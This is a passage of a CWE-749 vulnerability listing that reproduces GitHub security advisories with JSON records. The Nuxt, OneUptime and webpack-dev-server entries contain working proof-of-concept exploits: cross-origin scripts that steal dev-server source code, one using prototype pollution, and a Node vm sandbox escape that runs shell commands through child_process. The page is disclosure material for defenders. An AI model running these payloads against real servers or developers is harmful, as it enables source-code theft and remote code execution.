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Common Weakness Enumeration

CWE-749

Allowed

Exposed Dangerous Method or Function

Abstraction: Base · Status: Incomplete

The product provides an Applications Programming Interface (API) or similar interface for interaction with external actors, but the interface includes a dangerous method or function that is not properly restricted.

332 vulnerabilities reference this CWE, most recent first.

GHSA-4GF7-FF8X-HQ99

Vulnerability from github – Published: 2025-01-27 11:31 – Updated: 2025-01-30 03:05
VLAI
Summary
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Details

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/webpack-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/rspack-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.2"
            },
            {
              "fixed": "3.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-27T11:31:41Z",
    "nvd_published_at": "2025-01-25T01:15:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:3000/_nuxt/app.js\"\u003e` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:3000/_nuxt/app.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement(\u0027p\u0027)\n      const title = document.createElement(\u0027strong\u0027)\n      title.textContent = key\n      const code = document.createElement(\u0027code\u0027)\n      code.textContent = moduleList[key].toString()\n      p.append(title, \u0027:\u0027, document.createElement(\u0027br\u0027), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
  "id": "GHSA-4gf7-ff8x-hq99",
  "modified": "2025-01-30T03:05:05Z",
  "published": "2025-01-27T11:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code"
}

GHSA-4HCF-CP54-4WWX

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2023-01-24 21:30
VLAI
Details

This vulnerability allows remote attackers to write arbitrary files on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the archivo parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9722.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-15623"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-28T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to write arbitrary files on affected installations of CentOS Web Panel cwp-e17.0.9.8.923. Authentication is not required to exploit this vulnerability. The specific flaw exists within ajax_mod_security.php. When parsing the archivo parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-9722.",
  "id": "GHSA-4hcf-cp54-4wwx",
  "modified": "2023-01-24T21:30:37Z",
  "published": "2022-05-24T17:24:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15623"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-20-770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4J36-39GM-8VQ8

Vulnerability from github – Published: 2026-03-07 02:39 – Updated: 2026-03-10 18:44
VLAI
Summary
OneUptime: Synthetic Monitor RCE via exposed Playwright browser object
Details

Summary

OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the oneuptime-probe service. In the current implementation, this untrusted code is run inside Node's vm and is given live host Playwright objects such as browser and page.

This creates a distinct server-side RCE primitive: the attacker does not need the classic this.constructor.constructor(...) sandbox escape. Instead, the attacker can directly use the injected Playwright browser object to reach browser.browserType().launch(...) and spawn an arbitrary executable on the probe host/container.

This appears to be a separate issue from the previously published node:vm(GHSA-h343-gg57-2q67) breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access to process.

Details

A normal project member can create or edit monitors and monitor tests:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/Monitor.ts#L45-L78
  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/MonitorTest.ts#L27-L60

The dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L861-L918
  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L66-L84

The probe worker polls queued monitor tests and executes them:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85

For MonitorType.SyntheticMonitor, the user-controlled customCode is passed into SyntheticMonitor.execute(...):

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/Monitor.ts#L323-L338

SyntheticMonitor.execute(...) then runs that code through VMRunner.runCodeInNodeVM(...) and injects the live Playwright browser and page objects into the VM context:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168

VMRunner.runCodeInNodeVM(...) creates a Node vm context and exposes host objects into it, including the additional context objects:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Server/Utils/VM/VMRunner.ts#L323-L405

The proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host this binding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injected browser object.

That is enough for code execution because Playwright's Browser exposes browserType(), and BrowserType.launch() accepts attacker-controlled process launch options such as executablePath, args, and ignoreDefaultArgs. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.

This same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:

  • https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchList.ts#L110-L121

As a result, the issue can be abused either as a one-shot RCE via Test Monitor or as a persistent scheduled RCE by saving a malicious Synthetic Monitor.

PoC

  1. Log in as any user with normal project membership.
  2. Go to Monitors -> Create New Monitor.
  3. Select Synthetic Monitor.
  4. In Playwright Code, paste the following script:
 const HostFunction =
    Object.getOwnPropertyDescriptor(console, "log").value.constructor;

  return {
    data: {
      node: HostFunction('return process.version')(),
      cwd: HostFunction('return process.cwd()')(),
      id: HostFunction(
        'return process.getBuiltinModule("child_process").execSync("id").toString()'
      )(),
    },
  };

  1. Select any one browser type, for example Chromium.
  2. Select any one screen type, for example Desktop.
  3. Set retry count to 0.
  4. Click Test Monitor and choose a probe.

Expected result:

  • the monitor execution succeeded and in the Show More Details the command output is shown. image

Impact

This is a server-side Remote Code Execution issue affecting the probe component.

Who is impacted:

  • any OneUptime deployment where an attacker can obtain ordinary project membership
  • environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@oneuptime/common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30921"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-07T02:39:04Z",
    "nvd_published_at": "2026-03-10T17:40:16Z",
    "severity": "CRITICAL"
  },
  "details": "Summary\n\nOneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the `oneuptime-probe` service. In the current implementation, this untrusted code is run inside Node\u0027s `vm` and is given live host Playwright objects such as `browser` and `page`.\n\nThis creates a distinct server-side RCE primitive: the attacker does not need the classic `this.constructor.constructor(...)` sandbox escape. Instead, the attacker can directly use the injected Playwright `browser` object to reach `browser.browserType().launch(...)` and spawn an arbitrary executable on the probe host/container.\n\nThis appears to be a separate issue from the previously published `node:vm(GHSA-h343-gg57-2q67)` breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access to `process`.\n\n## Details\n\nA normal project member can create or edit monitors and monitor tests:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/Monitor.ts#L45-L78\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/MonitorTest.ts#L27-L60\n\nThe dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L861-L918\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L66-L84\n\nThe probe worker polls queued monitor tests and executes them:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85\n\nFor `MonitorType.SyntheticMonitor`, the user-controlled `customCode` is passed into `SyntheticMonitor.execute(...)`:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/Monitor.ts#L323-L338\n\n`SyntheticMonitor.execute(...)` then runs that code through `VMRunner.runCodeInNodeVM(...)` and injects the live Playwright `browser` and `page` objects into the VM context:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168\n\n`VMRunner.runCodeInNodeVM(...)` creates a Node `vm` context and exposes host objects into it, including the additional context objects:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Server/Utils/VM/VMRunner.ts#L323-L405\n\nThe proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host `this` binding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injected `browser` object.\n\nThat is enough for code execution because Playwright\u0027s `Browser` exposes `browserType()`, and `BrowserType.launch()` accepts attacker-controlled process launch options such as `executablePath`, `args`, and `ignoreDefaultArgs`. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.\n\nThis same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:\n\n- https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchList.ts#L110-L121\n\nAs a result, the issue can be abused either as a one-shot RCE via `Test Monitor` or as a persistent scheduled RCE by saving a malicious Synthetic Monitor.\n\n### PoC\n\n1. Log in as any user with normal project membership.\n2. Go to `Monitors -\u003e Create New Monitor`.\n3. Select `Synthetic Monitor`.\n4. In `Playwright Code`, paste the following script:\n\n```javascript\n const HostFunction =\n    Object.getOwnPropertyDescriptor(console, \"log\").value.constructor;\n\n  return {\n    data: {\n      node: HostFunction(\u0027return process.version\u0027)(),\n      cwd: HostFunction(\u0027return process.cwd()\u0027)(),\n      id: HostFunction(\n        \u0027return process.getBuiltinModule(\"child_process\").execSync(\"id\").toString()\u0027\n      )(),\n    },\n  };\n\n```\n\n5. Select any one browser type, for example `Chromium`.\n6. Select any one screen type, for example `Desktop`.\n7. Set retry count to `0`.\n8. Click `Test Monitor` and choose a probe.\n\nExpected result:\n\n- the monitor execution succeeded and in the `Show More Details` the command output is shown.\n\u003cimg width=\"899\" height=\"249\" alt=\"image\" src=\"https://github.com/user-attachments/assets/98ebd26f-431b-438e-9459-7deeebf97b18\" /\u003e\n\n\n\n### Impact\n\nThis is a server-side `Remote Code Execution` issue affecting the probe component.\n\nWho is impacted:\n\n- any OneUptime deployment where an attacker can obtain ordinary project membership\n- environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships",
  "id": "GHSA-4j36-39gm-8vq8",
  "modified": "2026-03-10T18:44:23Z",
  "published": "2026-03-07T02:39:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/security/advisories/GHSA-4j36-39gm-8vq8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30921"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OneUptime/oneuptime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorStep.tsx#L861-L918"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/App/FeatureSet/Dashboard/src/Components/Form/Monitor/MonitorTest.tsx#L66-L84"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/Monitor.ts#L45-L78"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Models/DatabaseModels/MonitorTest.ts#L27-L60"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Common/Server/Utils/VM/VMRunner.ts#L323-L405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchList.ts#L110-L121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Jobs/Monitor/FetchMonitorTest.ts#L55-L85"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/Monitor.ts#L323-L338"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OneUptime/oneuptime/blob/8e90f451426b160718bdd1796b68c5ec15318101/Probe/Utils/Monitors/MonitorTypes/SyntheticMonitor.ts#L156-L168"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OneUptime: Synthetic Monitor RCE via exposed Playwright browser object"
}

GHSA-4J75-478W-F7PX

Vulnerability from github – Published: 2025-12-24 00:30 – Updated: 2025-12-24 00:30
VLAI
Details

RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

The specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27675.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-14493"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-23T22:15:50Z",
    "severity": "HIGH"
  },
  "details": "RealDefense SUPERAntiSpyware Exposed Dangerous Function Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of RealDefense SUPERAntiSpyware. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe specific flaw exists within the SAS Core Service. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-27675.",
  "id": "GHSA-4j75-478w-f7px",
  "modified": "2025-12-24T00:30:15Z",
  "published": "2025-12-24T00:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14493"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1170"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4JPF-8W9V-465F

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

PaperCut NG print.script.sandboxed Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of PaperCut NG. Authentication is required to exploit this vulnerability.

The specific flaw exists within the management of the print.script.sandboxed setting. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-20965.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T20:15:05Z",
    "severity": "HIGH"
  },
  "details": "PaperCut NG print.script.sandboxed Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of PaperCut NG. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the management of the print.script.sandboxed setting. The issue results from the exposure of a dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-20965.",
  "id": "GHSA-4jpf-8w9v-465f",
  "modified": "2024-11-22T21:32:15Z",
  "published": "2024-11-22T21:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39470"
    },
    {
      "type": "WEB",
      "url": "https://www.papercut.com/kb/Main/SecurityBulletinJune2023"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4P7J-RQC6-FF4W

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Triangle MicroWorks SCADA Data Gateway DbasSectorFileToExecuteOnReset Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Triangle MicroWorks SCADA Data Gateway. Authentication is required to exploit this vulnerability.

The specific flaw exists within the handling of DbasSectorFileToExecuteOnReset parameter. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-20799.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:12Z",
    "severity": "HIGH"
  },
  "details": "Triangle MicroWorks SCADA Data Gateway DbasSectorFileToExecuteOnReset Exposed Dangerous Function Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Triangle MicroWorks SCADA Data Gateway. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of DbasSectorFileToExecuteOnReset parameter. The issue results from an exposed dangerous function. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-20799.",
  "id": "GHSA-4p7j-rqc6-ff4w",
  "modified": "2024-05-03T03:30:56Z",
  "published": "2024-05-03T03:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39468"
    },
    {
      "type": "WEB",
      "url": "https://www.trianglemicroworks.com/products/scada-data-gateway/what\u0027s-new"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1036"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4Q23-4XWF-899H

Vulnerability from github – Published: 2025-10-02 18:31 – Updated: 2025-10-02 21:31
VLAI
Details

The Flock Safety Android Collins application (aka com.flocksafety.android.collins) 6.35.31 for Android lacks authentication. It is responsible for the camera feed on Falcon, Sparrow, and Bravo devices, but exposes administrative API endpoints on port 8080 without authentication. Endpoints include but are not limited to: /reboot, /logs, /crashpack, and /adb/enable. This results in multiple impacts including denial of service (DoS) via /reboot, information disclosure via /logs, and remote code execution (RCE) via /adb/enable. The latter specifically results in adb being started over TCP without debugging confirmation, providing an attacker in the LAN/WLAN with shell access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-59403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-749"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-02T17:16:05Z",
    "severity": "MODERATE"
  },
  "details": "The Flock Safety Android Collins application (aka com.flocksafety.android.collins) 6.35.31 for Android lacks authentication. It is responsible for the camera feed on Falcon, Sparrow, and Bravo devices, but exposes administrative API endpoints on port 8080 without authentication. Endpoints include but are not limited to: /reboot, /logs, /crashpack, and /adb/enable. This results in multiple impacts including denial of service (DoS) via /reboot, information disclosure via /logs, and remote code execution (RCE) via /adb/enable. The latter specifically results in adb being started over TCP without debugging confirmation, providing an attacker in the LAN/WLAN with shell access.",
  "id": "GHSA-4q23-4xwf-899h",
  "modified": "2025-10-02T21:31:18Z",
  "published": "2025-10-02T18:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59403"
    },
    {
      "type": "WEB",
      "url": "https://gainsec.com/2025/09/27/fly-by-device-2-the-falcon-sparrow-gated-wireless-rce-camera-feed-dos-information-disclosure-and-more"
    },
    {
      "type": "WEB",
      "url": "https://gainsec.com/wp-content/uploads/2025/09/Root-from-the-Coop-Device-3_-Root-Shell-on-Flock-Safetys-Bravo-Compute-Box-GainSec.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.flocksafety.com/products"
    },
    {
      "type": "WEB",
      "url": "https://www.flocksafety.com/products/license-plate-readers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4V9V-HFQ4-RM2V

Vulnerability from github – Published: 2025-06-04 21:09 – Updated: 2025-10-03 13:25
VLAI
Summary
webpack-dev-server users' source code may be stolen when they access a malicious web site
Details

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
  5. You can see the source code output in the document and the devtools console.

image

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__. It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

Old content ### Summary Source code may be stolen when you use [`output.iife: false`](https://webpack.js.org/configuration/output/#outputiife) and access a malicious web site. ### Details When `output.iife: false` is set, some global variables for the webpack runtime are declared on the `window` object (e.g. `__webpack_modules__`). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `` in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the `window` object. By using `Function::toString` against the values in `__webpack_modules__`, the attacker can get the source code. I pointed out `output.iife: false`, but if there are other options that makes the webpack runtime variables to be declared on the `window` object, the same will apply for those cases. ### PoC 1. Download [reproduction.zip](https://github.com/user-attachments/files/18409777/reproduction.zip) and extract it 2. Run `npm i` 3. Run `npx webpack-dev-server` 4. Open `https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/` 5. Open the devtools console. 6. You can see the content of `src/index.js` and other scripts loaded. ![image](https://github.com/user-attachments/assets/87801607-57bb-4656-bc0d-2bfbe207f436) The script in the POC site is:
const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
    for (const module in window.__webpack_modules__) {
